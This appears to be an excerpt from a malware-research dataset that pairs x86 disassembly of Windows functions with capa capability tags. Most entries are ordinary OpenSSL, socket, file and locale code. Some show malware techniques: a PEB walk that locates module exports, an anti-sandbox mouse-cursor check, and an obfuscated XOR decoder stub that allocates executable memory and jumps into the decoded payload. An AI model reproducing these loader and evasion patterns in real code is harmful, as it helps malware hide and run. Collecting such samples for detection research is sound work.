joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101077f0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.10115670
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, dword [esp + 0x14]
inc ebp
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x38], 1
je 0x10107838
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 4]
lea eax, [ecx + ebp]
cmp eax, edx
jbe 0x1010782b
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
add dword [esi + 0xc], ecx
add dword [esi + 0x10], ecx
sub edx, ecx
mov dword [esi + 4], edx
jmp 0x1010783d
cmp ebp, dword [esi + 4]
ja 0x10107824
test dword [edi + 0x100], 0x200
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 4]
push ebx
movzx ebx, byte [ecx + eax - 1]
je 0x10107890
cmp dword [edi + 0x88], 0
jne 0x10107890
mov eax, dword [edi + 0x58]
push 8
add eax, 8
push 0x1019e22c
push eax
call fcn.10088580
add esp, 0xc
test eax, eax
jne 0x10107883
test bl, 1
jne 0x10107883
mov eax, dword [edi + 0x58]
or dword [eax], 8
mov eax, dword [edi + 0x58]
test byte [eax], 8
je 0x10107890
test ebx, ebx
je 0x10107890
dec ebx
mov eax, dword [edi + 0x80]
push dword [eax]
call fcn.1008edb0
add esp, 4
test eax, 0x200000
je 0x101078ba
or eax, 0xffffffff
sub eax, ebx
add dword [esi + 4], eax
mov eax, 1
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret
mov edi, dword [esi + 4]
lea ecx, [ebx + ebp]
mov edx, edi
mov dword [esp + 0x10], edi
sub edx, ecx
mov eax, edi
xor edx, ecx
xor eax, ecx
or edx, eax
mov ebp, 0xff
xor edx, edi
lea eax, [edi - 1]
shr edx, 0x1f
dec edx
cmp eax, ebp
mov dword [esp + 0x24], edx
cmovb ebp, eax
xor edx, edx
test ebp, ebp
je 0x1010793f
mov ecx, ebx
dec edi
shr ecx, 0x1f
add edi, dword [esi + 0xc]
mov dword [esp + 0x18], ecx
nop word [eax + eax]
mov ecx, ebx
lea edi, [edi - 1]
sub ecx, edx
mov eax, edx
shr ecx, 0x1f
inc edx
shr eax, 0x1f
xor cl, al
xor al, byte [esp + 0x18]
or cl, al
movzx eax, byte [edi + 1]
xor cl, byte [esp + 0x18]
xor eax, ebx
dec cl
movzx ecx, cl
and ecx, eax
mov eax, dword [esp + 0x24]
not ecx
and eax, ecx
mov dword [esp + 0x24], eax
cmp edx, ebp
jb 0x10107900
mov edi, dword [esp + 0x10]
jmp 0x10107943
mov eax, dword [esp + 0x24]
not eax
movzx eax, al
lea ecx, [eax - 1]
not eax
shr eax, 0x1f
shr ecx, 0x1f
and ecx, eax
lea eax, [ebx + 1]
neg ecx
and eax, ecx
sub edi, eax
shl eax, 8
or dword [esi], eax
mov eax, ecx
pop ebx
mov dword [esi + 4], edi
and eax, 1
pop edi
not ecx
pop esi
or eax, ecx
pop ebp
pop ecx
ret
Function at 0x10107d60
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x14
call fcn.10115670
push esi
push edi
lea eax, [esp + 0xc]
xor edi, edi
push eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push edi
call fcn.100ef0a0
add esp, 0xc
test eax, eax
je 0x10107f7b
nop dword [eax + eax]
mov ecx, dword [esp + 8]
lea eax, [esi + 1]
shl ecx, 0xa
inc edi
and ecx, dword [esp + 0x20]
cmove eax, esi
mov esi, eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0xc]
push eax
push edi
call fcn.100ef0a0
add esp, 0xc
test eax, eax
jne 0x10107d90
test esi, esi
je 0x10107f7b
mov eax, dword [esp + 0x50]
cdq
idiv esi
mov edi, dword [esp + 0x5c]
cmp esi, 1
push ebx
push ebp
mov ebp, dword [esp + 0x5c]
mov esi, 0
cmovne esi, dword [esp + 0x58]
push edi
push 0
push ebp
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], esi
call fcn.101355e0
lea eax, [esp + 0x20]
mov dword [esp + 0x2c], 0
push eax
lea eax, [esp + 0x20]
push eax
push 0
call fcn.100ef0a0
add esp, 0x18
test eax, eax
je 0x10107f46
mov ebx, dword [esp + 0x60]
nop word [eax + eax]
mov eax, dword [esp + 0x10]
shl eax, 0xa
test dword [esp + 0x28], eax
je 0x10107f22
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x10107f53
push edi
push ebx
push dword [esp + 0x58]
and esi, 1
push dword [esp + 0x58]
add esi, dword [esp + 0x2c]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x58]
push esi
mov esi, dword [esp + 0x88]
push esi
push ecx
call fcn.10107fa0
add esp, 0x3c
test eax, eax
je 0x10107f71
add esi, dword [esp + 0x1c]
xor ecx, ecx
mov dword [esp + 0x54], esi
test edi, edi
jle 0x10107f1e
cmp edi, 0x20
jb 0x10107efb
lea eax, [ebx - 1]
lea edx, [ebp - 1]
add eax, edi
add edx, edi
cmp ebp, eax
ja 0x10107eb1
cmp edx, ebx
jae 0x10107efb
mov eax, edi
and eax, 0x8000001f
jns 0x10107ebf
dec eax
or eax, 0xffffffe0
inc eax
mov edx, edi
mov esi, ebx
sub edx, eax
mov eax, ebp
sub esi, ebp
nop dword [eax]
movups xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movups xmm1, xmmword [esi + eax - 0x20]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
movups xmm1, xmmword [ebx + ecx + 0x10]
add ecx, 0x20
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movups xmmword [eax - 0x10], xmm1
cmp ecx, edx
jl 0x10107ed0
cmp ecx, edi
jge 0x10107f1e
mov esi, ebx
lea eax, [ecx + ebp]
mov edx, edi
sub esi, ebp
sub edx, ecx
nop word [eax + eax]
mov cl, byte [eax + esi]
lea eax, [eax + 1]
xor byte [eax - 1], cl
sub edx, 1
jne 0x10107f10
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x14]
inc eax
push ecx
push eax
mov dword [esp + 0x2c], eax
call fcn.100ef0a0
add esp, 0xc
test eax, eax
jne 0x10107e20
pop ebp
mov eax, 1
pop ebx
pop edi
pop esi
add esp, 0x14
ret
push 0x114
push str.._ssl_t1_enc.c
push 0x146
push 0x11c
push 0x14
call fcn.10081bf0
add esp, 0x14
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x14
ret
push 0x109
push str.._ssl_t1_enc.c
push 0x44
push 0x11c
push 0x14
call fcn.10081bf0
add esp, 0x14
xor eax, eax
pop edi
pop esi
add esp, 0x14
ret
Function at 0x10118180
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x101c2db4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
push 1
call fcn.101386da
add esp, 4
cmp edi, eax
sete cl
cmp byte [0x101c2df1], 0
je 0x101181bd
test cl, cl
jne 0x101181dd
cmp byte [0x101dbbe6], cl
jne 0x101181e6
push edi
push 1
push dword [ebp + 0x14]
push ebx
call fcn.10138d38
add esp, 0x10
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011480c
mov esp, ebp
pop ebp
ret
cmp byte [0x101dbbe0], 0
je 0x101181bd
mov eax, dword [ebp + 0xc]
xor esi, esi
cmp eax, 3
ja case.default.0x101181f0
jmp dword [eax*4 + 0x101182a0]
xor esi, esi
jmp case.default.0x101181f0
mov esi, 3
jmp case.default.0x101181f0
mov esi, 1
test esi, esi
je 0x101181bd
xor eax, eax
test cl, cl
setne al
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [ebp - 0x14]
push edi
mov dword [ebp - 0x24], eax
call fcn.1014768e
add esp, 4
sub esi, 1
je 0x1011825b
sub esi, 1
je 0x10118254
sub esi, 1
je 0x1011824d
xor eax, eax
jmp 0x10118260
mov eax, 6
jmp 0x10118260
mov eax, 2
jmp 0x10118260
mov eax, 4
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
or eax, 8
push eax
push dword [ebp - 0x20]
call esi
push edi
push 1
push dword [ebp + 0x14]
push ebx
call fcn.10138d38
push edi
call fcn.1014768e
add esp, 0x14
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1011480c
mov esp, ebp
pop ebp
ret
Function at 0x101187f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101610e6
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x101c2db4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x101dbd48]
test eax, eax
jne 0x10118914
push 0xc
call fcn.10114dbf
add esp, 4
test eax, eax
je 0x1011884c
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
jmp 0x1011884e
xor eax, eax
mov ecx, dword [0x101c2de4]
mov dword [0x101dbd48], eax
cmp dword [ecx + 0x10], 0
je 0x1011886c
push ecx
mov ecx, eax
call fcn.10031c00
jmp 0x1011890f
push eax
call fcn.10118bc0
add esp, 4
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x101188c8
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x144]
call fcn.10029020
mov ecx, dword [0x101dbd48]
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 4], 0
call fcn.1011c370
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], 0xffffffff
call fcn.10029130
push 0x1019f6e4
lea ecx, [ebp - 0x12c]
call fcn.10029020
mov ecx, dword [0x101dbd48]
lea eax, [ebp - 0x12c]
push eax
mov dword [ebp - 4], 1
call fcn.1011c370
mov eax, dword [ebp - 0x118]
cmp eax, 0x10
jb 0x1011890f
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.10029170
mov eax, dword [0x101dbd48]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011480c
mov esp, ebp
pop ebp
ret
Function at 0x10118bc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10161191
mov eax, dword fs:[0]
push eax
sub esp, 0x13c
mov eax, dword [0x101c2db4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push dword [ebp - 0x148]
push esi
push dword [esi + 4]
push dword [esi]
call fcn.10032170
mov eax, dword [esi]
add esp, 0x10
mov dword [esi + 4], eax
lea eax, [ebp - 0x114]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10118ca9
cmp byte [ebp - 0x114], 0
mov dword [ebp - 0x118], 0xf
mov dword [ebp - 0x11c], 0
mov byte [ebp - 0x12c], 0
jne 0x10118c4a
xor ecx, ecx
jmp 0x10118c5c
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10118c53
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x12c]
call fcn.10028f20
lea eax, [ebp - 0x12c]
mov dword [ebp - 4], 0
push eax
mov ecx, esi
call fcn.1011c370
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x10118ca9
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.10029170
push 7
push str.C:_tmp_
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x118], 0xf
mov dword [ebp - 0x11c], 0
mov byte [ebp - 0x12c], 0
call fcn.10028f20
lea eax, [ebp - 0x12c]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.1011c370
mov eax, dword [ebp - 0x118]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x10118d10
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.10029170
push 8
push str.C:_temp_
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x130], 0xf
mov dword [ebp - 0x134], 0
mov byte [ebp - 0x144], 0
call fcn.10028f20
lea eax, [ebp - 0x144]
mov dword [ebp - 4], 2
push eax
mov ecx, esi
call fcn.1011c370
mov eax, dword [ebp - 0x130]
cmp eax, 0x10
jb 0x10118d70
inc eax
lea ecx, [ebp - 0x144]
push eax
push dword [ebp - 0x144]
call fcn.10029170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011480c
mov esp, ebp
pop ebp
ret

Function at 0x10119d20
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp eax, dword [0x101c2de0]
jge 0x10119d37
cmp byte [0x101dbbe2], 0
je 0x10119d5a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push 2
call fcn.101386da
add esp, 4
push eax
call fcn.10118180
add esp, 0x10
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop ebp
ret
Function at 0x1011f225
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x10151e98
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10151d17

Function at 0x10155a6e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1015572e

Function at 0x1015c020
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov edi, dword [esp + 0xc]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push edi
mov esi, eax
call fcn.10075810
add esp, 8
test esi, esi
jg 0x1015c077
je 0x1015c059
cmp esi, 0xffffffff
jne 0x1015c077
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.1015c2b0
add esp, 4
test eax, eax
je 0x1015c077
push 0xa
push edi
call fcn.10075f10
add esp, 8
pop edi
mov eax, esi
pop esi
ret

Function at 0x1015c410
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x20]
cmp dword [eax], 6
je 0x1015c42b
push eax
push esi
call fcn.1015cac0
add esp, 8
test eax, eax
jle 0x1015c473
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push esi
mov edi, eax
call fcn.10075810
add esp, 8
test edi, edi
jg 0x1015c470
push edi
call fcn.1015c370
add esp, 4
test eax, eax
je 0x1015c470
push 0xa
push esi
call fcn.10075f10
add esp, 8
mov eax, edi
pop edi
pop esi
ret
Function at 0x1015e380
Capabilities:
Resolve dns

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x10]
mov ebp, 1
push edi
push ebx
push esi
call fcn.1015e840
mov edi, eax
add esp, 8
test edi, edi
jns 0x1015e3bb
push 0x7b
push str..crypto_bio_b_sock.c
push 0x6c
push 0x6a
push 0x20
call fcn.10081bf0
add esp, 0x14
jmp 0x1015e47c
call fcn.1015e770
cmp eax, 1
jne 0x1015e48c
test edi, edi
jle 0x1015e3d4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
ret
push 0x8e
push str..crypto_bio_b_sock.c
push 0x16
push 9
call fcn.10088510
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, eax
test ecx, ecx
jne 0x1015e411
push 0x92
push str..crypto_bio_b_sock.c
push 0x66
push 0x6a
push 0x20
call fcn.10081bf0
add esp, 0x14
jmp 0x1015e462
cmp word [ecx + 8], 2
je 0x1015e432
push 0x99
push str..crypto_bio_b_sock.c
push 0x6b
push 0x6a
push 0x20
call fcn.10081bf0
add esp, 0x14
jmp 0x1015e462
mov eax, dword [ecx + 0xc]
xor ebp, ebp
mov eax, dword [eax]
movzx eax, byte [eax]
mov byte [ebx], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 1]
mov byte [ebx + 1], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 2]
mov byte [ebx + 2], al
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
movzx eax, byte [eax + 3]
mov byte [ebx + 3], al
push 0xa2
push str..crypto_bio_b_sock.c
push 0x16
push 0xa
call fcn.10088510
add esp, 0x10
test ebp, ebp
je 0x1015e493
push esi
push str.host
push 2
call fcn.10081210
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x1015e7f0
Capabilities:
Set socket configuration

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0x8004667e
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
test esi, esi
jns 0x1015e830
push 0x233
push str..crypto_bio_b_sock.c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 5
push 2
call fcn.10081bf0
add esp, 0x14
xor eax, eax
test esi, esi
pop esi
sete al
ret

Function at 0x40f15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x40f168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x40f14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x40f145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x40f145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x1000655b
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi - 0x6c]
mov ecx, esi
call fcn.10008bb5
test eax, eax
jne 0x1000657b
mov eax, 0x80070005
jmp 0x100065ec
push esi
mov ecx, esi
call fcn.10008bb5
test eax, eax
js 0x100065ea
cmp dword [edi + 0x44], 0
je 0x100065ea
and dword [ebp + 8], 0
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.USER32.dll_GetCursorPos]
push eax
call esi
lea eax, [ebp - 8]
push eax
call esi
push 0x14
pop ecx
call fcn.100099b8
test eax, eax
je 0x100065c7
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
and dword [eax + 8], 0
mov dword [eax], vtable.CNameShowContactCardJob.0
mov dword [eax + 0xc], ecx
mov dword [eax + 0x10], edx
jmp 0x100065c9
xor eax, eax
push eax
lea ecx, [ebp + 8]
call fcn.10008bb5
mov esi, dword [ebp + 8]
test esi, esi
je 0x100065ea
mov ecx, dword [edi + 0x44]
push esi
call fcn.10008bb5
test eax, eax
mov eax, dword [esi]
push esi
call dword [eax + 8]
xor eax, eax
pop edi
pop esi
leave
ret 4

Function at 0x10008bb5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10008bc4
pop dword [ebp - 0x18]
mov eax, 0x2138210b
sub eax, 0x11379547
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x37108
push 0
mov eax, 0xe0e5b98
sub eax, 0xfe0d8abc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x56973a5c
sub ecx, 0x5696f6ee
mov edx, eax
mov esi, 0xe8348960
add esi, 0x27ccc8a0
add esi, dword [ebp - 0x18]
mov ebx, 0x595b9985
add ebx, 0x762b0420
sub dword [ebp - 0x10], edi
mov edi, dword [esi]
xor edi, ebx
xor dword [ebp - 4], 0x122a0e50
mov dword [edx], edi
add edx, 0x64cd96a7
sub edx, 0x64cd96a3
add esi, 0xe8a32ad7
sub esi, 0xe8a32ad3
loop 0x10008c23
add eax, 0xd4930e23
sub eax, 0xd4920d98
xor ebx, ebx
add ebx, eax
add eax, 0xcdb93535
sub eax, 0xcdb93530
mov ecx, 0x4d37872e
sub ecx, 0x3d37872e
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x402b10
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404340
test esi, esi
jne 0x402b46
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404430
jmp 0x402b64
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004029c4
mov edi, eax
test esi, esi
je 0x402b64
cmp dword [ebx], 0
je 0x402b64
dec esi
jmp 0x402b4d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4033dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x526020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403474
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403454
xor eax, eax
push ebp
push 0x40344d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403490
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403454
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x526020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x526020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404140
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x52c04c], 0
je 0x4041a1
cmp word [0x52c220], 0xd7b2
jne 0x404169
cmp dword [0x52c228], 0
jbe 0x404169
mov eax, 0x52c21c
call dword [0x52c238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x52606c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4041c8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x526030], 0
jne 0x4041bd
push 0
push 0x526064
push 0x52606c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4042f4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402788
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x52c04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4042bc
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4063f4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40645a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004045b0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402f94
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406444
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406461
lea eax, [ebp - 0x10]
call fcn.00404340
ret

Function at 0x40917c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404800
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409195
test al, 0x10
jne 0x409199
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40be28
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40be61
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404430
jmp 0x40be6a
mov eax, ebx
mov edx, esi
call fcn.00404394
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40be74
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40be95
mov al, byte [esp]
jmp 0x40be97
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c51c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
add byte [eax], al